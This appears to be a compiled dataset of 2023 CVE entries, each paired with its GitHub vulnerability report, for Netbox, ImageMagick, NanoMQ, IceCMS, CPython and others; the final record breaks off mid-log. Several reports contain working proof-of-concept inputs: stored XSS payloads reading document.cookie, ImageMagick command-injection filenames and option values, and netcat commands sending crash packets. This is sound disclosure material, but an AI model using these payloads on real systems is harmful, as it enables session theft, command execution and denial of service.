# Version: 3.5.1 # Description Unauthentication GraphQL Database Query refers to a vulnerability where unauthorized individuals can execute queries against a GraphQL database without proper authentication. This means that anyone, without providing valid credentials, can access and manipulate sensitive data stored in the database. # Proof of Concept **Step 1:** Go to `/graphql/`, insert payload GraphQL Database Query without authentication ---  --- # Impact The impact of an unauthenticated GraphQL database query includes unauthorized access to sensitive data, data manipulation or deletion, compromised data integrity, system unavailability, and damage to an organization's reputation.

Unauthentication GraphQL Database Query Vulnerability in "Create Contacts" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/16/comments

2023-05-18T16:58:00Z

2023-05-18T16:58:44Z

https://github.com/anhdq201/netbox/issues/16

CVE-2023-33797

2023-05-24T20:15:10.893

A stored cross-site scripting (XSS) vulnerability in the Create Sites (/dcim/sites/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/12

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Sites" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/dcim/sites/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/racks/`, click "Add" and select "Site" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Sites" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/12/comments

2023-05-18T16:34:34Z

2023-05-18T16:34:34Z

https://github.com/anhdq201/netbox/issues/12

CVE-2023-33798

2023-05-24T20:15:10.947

A stored cross-site scripting (XSS) vulnerability in the Create Rack (/dcim/rack/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/13

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Rack" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/dcim/rack/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/rack-reservations/`, click "Add" and select "Rack" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Rack" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/13/comments

2023-05-18T16:37:16Z

2023-05-18T16:37:16Z

https://github.com/anhdq201/netbox/issues/13

CVE-2023-33799

2023-05-24T20:15:11.003

A stored cross-site scripting (XSS) vulnerability in the Create Contacts (/tenancy/contacts/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/14

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Contacts" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/tenancy/contacts/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/tenancy/contact-assignments/`, Select one element and click "Edit Selected", after select "Contact" ---   --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Contacts" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/14/comments

2023-05-18T16:42:36Z

2023-05-18T16:42:36Z

https://github.com/anhdq201/netbox/issues/14

CVE-2023-33800

2023-05-24T20:15:11.060

A stored cross-site scripting (XSS) vulnerability in the Create Regions (/dcim/regions/) function of Netbox v3.5.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

https://github.com/anhdq201/netbox/issues/11

github.com

# Version: 3.5.1 # Description An authenticated malicious user can take advantage of a Stored XSS vulnerability in "Create Regions" function in the "Organization" feature. # Proof of Concept **Step 1:** Go to `/dcim/regions/`, click "Add" and insert payload "`<img src=1 onerror='alert(document.cookie)'/>`" in "Name" field. ---  --- **Step 2:** Go to `/dcim/sites/`, click "Add" and select "Region" ---  --- **Step 3: Script excuted ---  --- # Impact If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

Stored Cross Site Scripting Vulnerability in "Create Regions" function in Netbox 3.5.1

https://api.github.com/repos/anhdq201/netbox/issues/11/comments

2023-05-18T16:32:07Z

2023-05-18T16:32:07Z

https://github.com/anhdq201/netbox/issues/11

CVE-2023-33355

2023-05-25T14:15:10.850

IceCMS v1.0.0 has Insecure Permissions. There is unauthorized access to the API, resulting in the disclosure of sensitive information.

https://github.com/Thecosy/IceCMS/issues/7

github.com

This api does not require login, obtains user information through user_id, and returns the user name, password, and email address in plain text.  It is like the preview address provided by the project, macwk.cc, and the backend service address is macwk.cc/api through the request body. So we can get any user information, including the administrator.  

There is unauthorized access to the API, resulting in the disclosure of sensitive information

https://api.github.com/repos/Thecosy/IceCMS/issues/7/comments

2023-04-30T16:27:48Z

2024-06-16T16:00:27Z

https://github.com/Thecosy/IceCMS/issues/7

CVE-2023-33356

2023-05-25T14:15:11.030

IceCMS v1.0.0 is vulnerable to Cross Site Scripting (XSS).

https://github.com/Thecosy/IceCMS/issues/8

github.com

There is a Stored-XSS vulnerability in IceCMS v1.0.0 api : /Websquare/create/circle planet - circle POC： The payload is `<img src=1 onerror=alert(1)>`  

There is a Stored-XSS vulnerability in IceCMS v1.0.0

https://api.github.com/repos/Thecosy/IceCMS/issues/8/comments

2023-05-02T14:38:40Z

2023-05-02T14:38:40Z

https://github.com/Thecosy/IceCMS/issues/8

CVE-2023-33656

2023-05-30T18:15:10.383

A memory leak vulnerability exists in NanoMQ 0.17.2. The vulnerability is located in the file message.c. An attacker could exploit this vulnerability to cause a denial of service attack by causing the program to consume all available memory resources.

https://github.com/emqx/nanomq/issues/1164

github.com

**Describe the bug** 您好，我们在NanoMQ当前版本中还发现了一项内存泄露，以下为详细漏洞信息以供开发人员参考。 School of Cyber Science and Technology, Shandong University **Expected behavior** 如果在编译时启用 ASAN，NanoMQ 会崩溃并显示 ASAN 信息。  **To Reproduce** 1. start nanomq with ./nanomq start 2. Send the packet：nc 127.0.0.1 1883 < ./leak.raw 3. NanoMQ crashes [leak1.zip](https://github.com/emqx/nanomq/files/11234045/leak1.zip) ** Environment Details ** - NanoMQ version：master branch version commit #8c54cd7 - Operating system and version：Ubuntu 20.04 - Compiler and language used：gcc 9.4.0 clang 10.0.0 - testing scenario

potential memleak

https://api.github.com/repos/nanomq/nanomq/issues/1164/comments

2023-04-14T14:46:47Z

2023-04-15T07:50:40Z

https://github.com/nanomq/nanomq/issues/1164

CVE-2023-33656

2023-05-30T18:15:10.383

A memory leak vulnerability exists in NanoMQ 0.17.2. The vulnerability is located in the file message.c. An attacker could exploit this vulnerability to cause a denial of service attack by causing the program to consume all available memory resources.

https://github.com/emqx/nanomq/issues/1165#issuecomment-1515667127

github.com

**Describe the bug** Our team (School of Cyber Science and Technology, Shandong University)have found the a potential issue in the current version of nanomq,it may cause heap-use-after-free when it handles the publish messages **Expected behavior** We use ASAN to compile the target server, and when we send a large number of malformed data packets to it, it may crash and output the following information ：  the Call stack information is：  **Actual Behavior** Describe what occurred. **To Reproduce** we will provide the POC below to the developer for validation: [heap-use-after-free-poc.zip](https://github.com/emqx/nanomq/files/11235468/heap-use-after-free-poc.zip) ** Environment Details ** - NanoMQ version master branch version commit #8c54cd7 - Operating system and version Ubuntu 20.04 - Compiler and language used gcc 9.4.0 clang 10.0.0 - testing scenario start nanomq with ./nanomq start Send the packet：nc 127.0.0.1 1883 < heap-use-after-free-poc（Repeat multiple times） util cause NanoMQ crashes **Additional context** To trigger the issue, it is necessary to continuously replay the poc multiple times until nanomq crashes,it may need 2 - 15 times

[Security]: wrong protocol name & data racing

https://api.github.com/repos/nanomq/nanomq/issues/1165/comments

2023-04-14T17:23:19Z

2023-04-25T10:06:34Z

https://github.com/nanomq/nanomq/issues/1165

CVE-2023-34151

2023-05-30T22:15:11.000

A vulnerability was found in ImageMagick. This security flaw ouccers as an undefined behaviors of casting double to size_t in svg, mvg and other coders (recurring bugs of CVE-2022-32546).

https://github.com/ImageMagick/ImageMagick/issues/6341

github.com

### ImageMagick version 7.1.30-0 ### Operating system Linux ### Operating system, version and so on Any ### Description While reviewing historical vulnerabilities, I discovered several similar bugs just like issue #4985 which was later assigned CVE-2022-32546. The original vulnerability relates to casting a width/height value in `double` to `size_t` or `unsigned long`, which denotes columns/rows number in pixels. The issue concerns about PCL format, and the fix (#4986 ) was about PCL only. However, with a CodeQL rule, I am able to find almost the same issues in several other readers `ReadXXXImage` functions, like CAPTION, EMF, LABEL, MVG, PS, PS2, PS3, SVG, WMF. It was easy to construct sample mvg and svg files to trigger these bugs, as shown below. ### Steps to Reproduce #### Prerequisite configure ImageMagick with UBSAN. If compiled with gcc, specifically turn on `flow-cast-overflow`: ```bash ./configure CFLAGS='-g -fsanitize=address,undefined,float-cast-overflow -fsanitize-recover=address,undefined,float-cast-overflow' LDFLAGS='-fsanitize=address,undefined,float-cast-overflow -lasan -lubsan' ``` #### Trigger Use the malformed sample files in the attached zip. The following commands demonstrates the bugs. ```bash /data/home/fullwaywang/exp ➜ magick identify bitcoin.svg coders/svg.c:2829:38: runtime error: 5e+24 is outside the range of representable values of type 'long unsigned int' bitcoin.svg SVG 0x234 0x234+0+0 16-bit sRGB 19056B 0.010u 0:00.015 /data/home/fullwaywang/exp ➜ magick identify mvg:piechart.mvg coders/mvg.c:180:33: runtime error: 5e+26 is outside the range of representable values of type 'long unsigned int' identify: MustSpecifyImageSize `piechart.mvg' @ error/mvg.c/ReadMVGImage/186. ``` ### Images [samples.zip](https://github.com/ImageMagick/ImageMagick/files/11497437/samples.zip) ### Reporter fullwaywang

Undefined behaviors of casting `double` to `size_t` in svg, mvg and other coders (recurring bugs of CVE-2022-32546)

https://api.github.com/repos/ImageMagick/ImageMagick/issues/6341/comments

2023-05-17T11:25:22Z

2024-05-13T17:50:37Z

https://github.com/ImageMagick/ImageMagick/issues/6341

CVE-2023-34152

2023-05-30T22:15:11.070

A vulnerability was found in ImageMagick. This security flaw cause a remote code execution vulnerability in OpenBlob with --enable-pipes configured.

https://github.com/ImageMagick/ImageMagick/issues/6339

github.com

### ImageMagick version 6.9.6-4 ### Operating system Linux ### Operating system, version and so on Any ### Description While reviewing historical vulnerabilities, I discovered an aribitary code execution vulnerability (shell command injection) in `OpenBlob`, which is actually an incomplete fix to CVE-2016-5118. CVE-2016-5118 showed that opening any image file whose name starts with a '|' character, ImageMagick will `popen` the remaining part of the file name. As a fix, commit [ca430ff](https://github.com/ImageMagick/ImageMagick/commit/ca430ff77794980941ff0fa0d2fc463b50c2c6b7) add a configure option `--enable-pipes` to specially turn on the support of pipes; and in commit 40639d1, the invocation of `SanitizeString` is added before `popen_utf8` the filename to suppress aribitary command execution. However, `SanitizeString` only filters out characters like single quotes but not `` ` `` or `"`. This allows shell command injection through malformed file name. ### Steps to Reproduce #### Prerequisite Configure ImageMagick with `./configure --enable-pipes` #### Trigger Given a normal image file, namely smile.gif, the following triggers the vulnerability: ```bash /data/home/fullwaywang/exp ➜ echo deadbeef > test.txt /data/home/fullwaywang/exp ➜ cp smile.gif '|smile"`cat test.txt > leak.txt`".gif' /data/home/fullwaywang/exp ➜ magick identify '|smile"`cat test.txt > leak.txt`".gif' sh: smile.gif: command not found identify: ImproperImageHeader `/tmp/magick-UMqIH3bRZ6v-thgCZxEUhVyYUdKapEiV' @ error/gif.c/ReadGIFImage/1027. /data/home/fullwaywang/exp ➜ cat leak.txt deadbeef ``` ### Images _No response_ ### Reporter fullwaywang

RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured

https://api.github.com/repos/ImageMagick/ImageMagick/issues/6339/comments

2023-05-17T09:47:04Z

2024-07-11T08:49:30Z

https://github.com/ImageMagick/ImageMagick/issues/6339

CVE-2023-34153

2023-05-30T22:15:11.143

A vulnerability was found in ImageMagick. This security flaw causes a shell command injection vulnerability via video:vsync or video:pixel-format options in VIDEO encoding/decoding.

https://github.com/ImageMagick/ImageMagick/issues/6338

github.com

### ImageMagick version 7.1.0-1 ### Operating system Linux ### Operating system, version and so on Any ### Description In reviewing historical vulnerabilities in ImageMagick, I discovered a shell command injection vulnerability in encoding/decoding VIDEO files, which very much resembles CVE-2020-29599. In commit cc4638d, extra options are supported in VIDEO decode delegate execution, and through later commits, ImageMagick supports user-defined options `video:vsync` and `video:pixel-format`, with their values concatenated into delegate command executed via `ExternalDelegateCommand`. In `ExternalDelegateCommand`, the command string is sanitized with `SanitizeString`, scanned for illegal chars then `system()`. However, the illegal char set contains only `"&;<>|"`, not quot (see [link](https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/delegate.c#L443)). This is the same mistake as in sanitizing `-authenticate` parameter in PDF password support, but the common vulnerability in `ExternalDelegateCommand` did not get fixed. ### Steps to Reproduce #### Trigger the vulnerability in VIDEO decoding Given a normal video file, namely `test.mov`, the following demonstrates how command injection happens. ```bash /data/home/fullwaywang/exp ➜ echo 'deadbeef' > test.txt /data/home/fullwaywang/exp ➜ magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov >info.log /data/home/fullwaywang/exp ➜ tail info.log test.mov[891] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.320u 0:00.312 test.mov[892] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.310u 0:00.298 test.mov[893] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.290u 0:00.285 test.mov[894] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.280u 0:00.271 test.mov[895] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.260u 0:00.258 test.mov[896] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.250u 0:00.244 test.mov[897] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.230u 0:00.231 test.mov[898] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.220u 0:00.218 test.mov[899] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.210u 0:00.204 test.mov[900] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 445.5MiB 0.200u 0:00.191 /data/home/fullwaywang/exp ➜ cat /tmp/leak.txt deadbeef ``` #### Trigger the vulnerability in VIDEO encoding Given a normal image file, namely `smile.gif`, the following demonstrates how command injection happens. ```bash /data/home/fullwaywang/exp ➜ magick convert -define video:pixel-format='rgba"`cat test.txt > /tmp/leak3.txt`"' smile.gif smile.mov /data/home/fullwaywang/exp ➜ cat /tmp/leak3.txt deadbeef ``` ### Images _No response_ ### Reporter fullwaywang

Shell command injection vulnerability via `video:vsync` or `video:pixel-format` options in VIDEO encoding/decoding.

https://api.github.com/repos/ImageMagick/ImageMagick/issues/6338/comments

2023-05-17T08:50:05Z

2024-01-23T11:25:13Z

https://github.com/ImageMagick/ImageMagick/issues/6338

CVE-2023-33659

2023-06-06T12:15:09.503

A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nmq_subinfo_decode() in the file mqtt_parser.c. An attacker could exploit this vulnerability to cause a denial of service attack.

https://github.com/emqx/nanomq/issues/1154

github.com

**Describe the bug** We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed SUBSCRIBE messages. This vulnerability is different from https://github.com/emqx/nanomq/issues/1153 **Expected behavior** If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information. **Actual Behavior** If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information, which can cause DOS. **To Reproduce** Similarly, we will send a vulnerability POC via email ([email protected]) to help developers fix this vulnerability.  **Environment Details** - NanoMQ version：master branch version commit #a72347c （As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) ） - Operating system and version：Ubuntu 20.04 - Compiler and language used：gcc 9.4.0 clang 10.0.0 - testing scenario 1. start nanomq with ./nanomq start 2. Send the packet：nc 127.0.0.1 1883 < ./poc2.raw 3. NanoMQ crashes

heap-buffer-overflow2 in NanoMQ

https://api.github.com/repos/nanomq/nanomq/issues/1154/comments

2023-04-12T09:21:09Z

2023-04-19T06:43:53Z

https://github.com/nanomq/nanomq/issues/1154

CVE-2023-2878

2023-06-07T15:15:09.377

Kubernetes secrets-store-csi-driver in versions before 1.3.3 discloses service account tokens in logs.

https://github.com/kubernetes/kubernetes/issues/118419

github.com

A security issue was discovered in [secrets-store-csi-driver](https://github.com/kubernetes-sigs/secrets-store-csi-driver) where an actor with access to the driver logs could observe service account tokens. These tokens could then potentially be exchanged with external cloud providers to access secrets stored in cloud vault solutions. Tokens are only logged when [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag. This issue has been rated **MEDIUM** [CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) (6.5), and assigned **CVE-2023-2878** **Am I vulnerable?** You may be vulnerable if [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag. To check if token requests are configured, run the following command: ```shell kubectl get csidriver secrets-store.csi.k8s.io -o jsonpath="{.spec.tokenRequests}" ``` To check if tokens are being logged, examine the secrets-store container log: ```shell kubectl logs -l app=secrets-store-csi-driver -c secrets-store -f | grep --line-buffered "csi.storage.k8s.io/serviceAccount.tokens" ``` **Affected Versions** - secrets-store-csi-driver < 1.3.3 **How do I mitigate this vulnerability?** Prior to upgrading, this vulnerability can be mitigated by running secrets-store-csi-driver at log level 0 or 1 via the -v flag. **Fixed Versions** - secrets-store-csi-driver >= 1.3.3 To upgrade, refer to the documentation: [https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades](https://secrets-store-csi-driver.sigs.k8s.io/getting-started/upgrades.html#upgrades) **Detection** Examine cloud provider logs for unexpected token exchanges, as well as unexpected access to cloud vault secrets. If you find evidence that this vulnerability has been exploited, please contact [[email protected]](mailto:[email protected]) **Acknowledgements** This vulnerability was reported by Tomer Shaiman `@tshaiman` from Microsoft. /area security /kind bug /committee security-response /label official-cve-feed /sig auth

CVE-2023-2878: secrets-store-csi-driver discloses service account tokens in logs

https://api.github.com/repos/kubernetes/kubernetes/issues/118419/comments

2023-06-02T19:03:54Z

2023-06-02T19:04:34Z

https://github.com/kubernetes/kubernetes/issues/118419

CVE-2023-33595

2023-06-07T20:15:09.920

CPython v3.12.0 alpha 7 was discovered to contain a heap use-after-free via the function ascii_decode at /Objects/unicodeobject.c.

https://github.com/python/cpython/issues/103824

github.com

# Your environment - CPython versions tested on: 3.12.0 alpha 7 - Operating system and architecture: ubuntu20.04.1,x86_64 - Compiler flags: clang with ASAN and UBSAN instrument # Bug description The AddressSanitizer (ASAN) tool has detected multiple heap-use-after-free errors and a segmentation fault (SEGV) in the Python interpreter. The heap-use-after-free errors occurred in the ascii_decode and unicode_decode_utf8 functions in the unicodeobject.c file, and the SEGV occurred in the tok_backup function in the tokenizer.c file. Additionally, a memory leak was detected in the pystate.c file. # Steps to reproduce 1. Compile Python with ASAN enabled: `./configure && make` 1. Run Python with ASAN enabled: `./python < poc_file` 1. The heap-use-after-free errors and SEGV should be detected and logged by ASAN. # Expected behavior No heap-use-after-free errors or SEGV should occur. # Actual behavior ASAN detected multiple heap-use-after-free errors and a SEGV, as well as a memory leak. # Relevant logs and/or screenshots The ASAN summary output is as follows: ``` AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4474:28 in ascii_decode AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4506:28 in ascii_decode AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4483:32 in ascii_decode AddressSanitizer: SEGV /src/cpython/Parser/tokenizer.c:1234:33 in tok_backup AddressSanitizer: heap-use-after-free /src/cpython/Objects/unicodeobject.c:4526:37 in unicode_decode_utf8 AddressSanitizer: 3824 byte(s) leaked in 4 allocation(s). AddressSanitizer: heap-use-after-free /src/cpython/Python/pystate.c:229:23 in bind_tstate The full ASAN log can be found in the asan.log file. ``` [asan.log](https://github.com/python/cpython/files/11316179/asan.log) [python_bug_poc.zip](https://github.com/python/cpython/files/11316193/python_bug_poc.zip) <!-- gh-linked-prs --> ### Linked PRs * gh-103993 <!-- /gh-linked-prs -->

Found Heap-use-after-free errors and SEGV in Python

https://api.github.com/repos/python/cpython/issues/103824/comments

2023-04-25T03:35:53Z

2023-07-13T10:14:24Z

https://github.com/python/cpython/issues/103824

CVE-2023-33658

2023-06-08T12:15:09.240

A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nni_msg_get_pub_pid() in the file message.c. An attacker could exploit this vulnerability to cause a denial of service attack.

https://github.com/emqx/nanomq/issues/1153

github.com

**Describe the bug** We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed PUBLISH messages. **Expected behavior** If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information.  **Actual Behavior** Describe what occurred. **To Reproduce** From a vulnerability disclosure point of view, I will email([email protected]) the POC to the developer for validation since it's possible to achieve at least a DoS pretty easily. ** Environment Details ** - NanoMQ version：master branch version commit #a72347c （As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) ） - Operating system and version：Ubuntu 20.04 - Compiler and language used：gcc 9.4.0 clang 10.0.0 - testing scenario 1. start nanomq with ./nanomq start 2. Send the packet：nc 127.0.0.1 1883 < ./poc.raw 3. NanoMQ crashes

[Security]: Vulnerability that are unecessary to be fixed

https://api.github.com/repos/nanomq/nanomq/issues/1153/comments

2023-04-12T09:10:25Z

2023-04-15T07:37:26Z

https://github.com/nanomq/nanomq/issues/1153

CVE-2023-33660

2023-06-08T12:15:09.347

A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function copyn_str() in the file mqtt_parser.c. An attacker could exploit this vulnerability to cause a denial of service attack.

https://github.com/emqx/nanomq/issues/1155

github.com

**Describe the bug** We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed messages. This vulnerability is different from https://github.com/emqx/nanomq/issues/1153 and https://github.com/emqx/nanomq/issues/1154 **Expected behavior** If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information. **Actual Behavior** If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information, which can cause DOS. **To Reproduce** Similarly, we will send a vulnerability POC via email ([email protected]) to help developers fix this vulnerability.  **Environment Details** - NanoMQ version：master branch version commit #a72347c （As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) ） - Operating system and version：Ubuntu 20.04 - Compiler and language used：gcc 9.4.0 clang 10.0.0 - testing scenario 1. start nanomq with ./nanomq start 2. Send the packet：nc 127.0.0.1 1883 < ./poc3.raw 3. NanoMQ crashes

heap-buffer-overflow3 in NanoMQ

https://api.github.com/repos/nanomq/nanomq/issues/1155/comments

2023-04-12T09:29:05Z

2023-04-14T10:11:32Z

https://github.com/nanomq/nanomq/issues/1155

CVE-2023-33657

2023-06-08T13:15:09.530

A use-after-free vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nni_mqtt_msg_get_publish_property() in the file mqtt_msg.c. This vulnerability is caused by improper data tracing, and an attacker could exploit it to cause a denial of service attack.

https://github.com/emqx/nanomq/issues/1165#issue-1668648319

github.com

**Describe the bug** Our team (School of Cyber Science and Technology, Shandong University)have found the a potential issue in the current version of nanomq,it may cause heap-use-after-free when it handles the publish messages **Expected behavior** We use ASAN to compile the target server, and when we send a large number of malformed data packets to it, it may crash and output the following information ：  the Call stack information is：  **Actual Behavior** Describe what occurred. **To Reproduce** we will provide the POC below to the developer for validation: [heap-use-after-free-poc.zip](https://github.com/emqx/nanomq/files/11235468/heap-use-after-free-poc.zip) ** Environment Details ** - NanoMQ version master branch version commit #8c54cd7 - Operating system and version Ubuntu 20.04 - Compiler and language used gcc 9.4.0 clang 10.0.0 - testing scenario start nanomq with ./nanomq start Send the packet：nc 127.0.0.1 1883 < heap-use-after-free-poc（Repeat multiple times） util cause NanoMQ crashes **Additional context** To trigger the issue, it is necessary to continuously replay the poc multiple times until nanomq crashes,it may need 2 - 15 times

[Security]: wrong protocol name & data racing

https://api.github.com/repos/nanomq/nanomq/issues/1165/comments

2023-04-14T17:23:19Z

2023-04-25T10:06:34Z

https://github.com/nanomq/nanomq/issues/1165

CVE-2023-33557

2023-06-09T18:15:09.693

Fuel CMS v1.5.2 was discovered to contain a SQL injection vulnerability via the id parameter at /controllers/Blocks.php.

https://github.com/daylightstudio/FUEL-CMS/issues/604

github.com

login required. fuel/modules/fuel/controllers/Blocks.php line 64 import_view method starts Line 70 receives the id parameter of the post request and enters the import method  fuel/modules/fuel/libraries/Fuel_blocks.php Then enter the find_by_key method on line 307  Because the find_by_key method does not exist, enter the __call method of the current object Enter line 4421 of MY_Model.php, pass parameters to $this->db->where() method  At this time, the external input string is spliced into the SQL statement through the $this->db->where() method, But at this time, the external input will be surrounded by single quotes because of codeigniter's safe processing of the where method, so the injection has not yet been caused..  Until line 4450, the user's external input is stored in the $other_args array at this time, and has not been processed safely  Enter the $this->db->order_by() method, at this time the external input is spliced into the sql statement again, and there is no single quotation mark included  Finally, the $this->db->get() method executes the database command, causing sql injection   sqlmap: 

FUEL CMS 1.5.2 allows SQL Injection via parameter 'id' in fuel/modules/fuel/controllers/Blocks.php

https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/604/comments

2023-05-12T02:24:19Z

2023-05-12T15:50:17Z

https://github.com/daylightstudio/FUEL-CMS/issues/604

CVE-2023-33492

2023-06-12T13:15:10.300

EyouCMS 1.6.2 is vulnerable to Cross Site Scripting (XSS).

https://github.com/weng-xianhu/eyoucms/issues/42

github.com

EyouCMS v1.6.2 has a vulnerability that stores cross-site scripting   

EyouCMS v1.6.2 has a vulnerability that stores cross-site scripting

https://api.github.com/repos/weng-xianhu/eyoucms/issues/42/comments

2023-05-03T12:02:15Z

2024-03-22T06:50:30Z

https://github.com/weng-xianhu/eyoucms/issues/42

CVE-2023-34488

2023-06-12T14:15:19.623

NanoMQ 0.17.5 is vulnerable to heap-buffer-overflow in the conn_handler function of mqtt_parser.c when it processes malformed messages.

https://github.com/emqx/nanomq/issues/1181

github.com

**Describe the bug** We found a heap-buffer-overflow in `conn_handler` function of `mqtt_parser.c` when it processes malformed messages. **Expected behavior** A clear and concise description of what you expected to happen. **Actual Behavior** Heap-buffer-overflow **To Reproduce** start nanomq with ./nanomq start Send the packet：nc 127.0.0.1 1883 < ./1181-poc.raw [1181-poc.raw.zip](https://github.com/emqx/nanomq/files/11268189/1181-poc.raw.zip) `conn_handler` function of `mqtt_parser.c:602:20` <img width="635" alt="image" src="https://user-images.githubusercontent.com/131155516/232842198-2f213639-009c-4ad4-813a-6e5af36f5490.png"> Asan Log > ================================================================= > ==3700126==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000bb3c at pc 0x0000005f287d bp 0x7f8477d97950 sp 0x7f8477d97948 > READ of size 1 at 0x60200000bb3c thread T7 (nng:task) > #0 0x5f287c in conn_handler /home/user/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:602:20 > #1 0x816b7d in tcptran_pipe_nego_cb /home/user/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:363:13 > #2 0x5b467b in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4 > #3 0x5b7d4c in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3 > #4 0x5c78e0 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2 > #5 0x7f847ddb4608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8 > #6 0x7f847db40132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95 > > 0x60200000bb3c is located 0 bytes to the right of 12-byte region [0x60200000bb30,0x60200000bb3c) > allocated by thread T7 (nng:task) here: > #0 0x4adf1d in malloc (/home/user/nanomq/build/nanomq/nanomq+0x4adf1d) > #1 0x81686e in tcptran_pipe_nego_cb /home/user/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:345:18 > #2 0x5b467b in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4 > #3 0x5b7d4c in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3 > #4 0x5c78e0 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2 > #5 0x7f847ddb4608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8 > > Thread T7 (nng:task) created by T0 here: > #0 0x498cca in pthread_create (/home/user/nanomq/build/nanomq/nanomq+0x498cca) > #1 0x5c766e in nni_plat_thr_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:279:7 > #2 0x5b74de in nni_thr_init /home/user/nanomq/nng/src/core/thread.c:121:12 > #3 0x5b3c6f in nni_taskq_init /home/user/nanomq/nng/src/core/taskq.c:95:8 > #4 0x57bb04 in nni_init_helper /home/user/nanomq/nng/src/core/init.c:35:13 > #5 0x5c7ef2 in nni_plat_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:422:12 > #6 0x61b6bd in nni_proto_mqtt_open 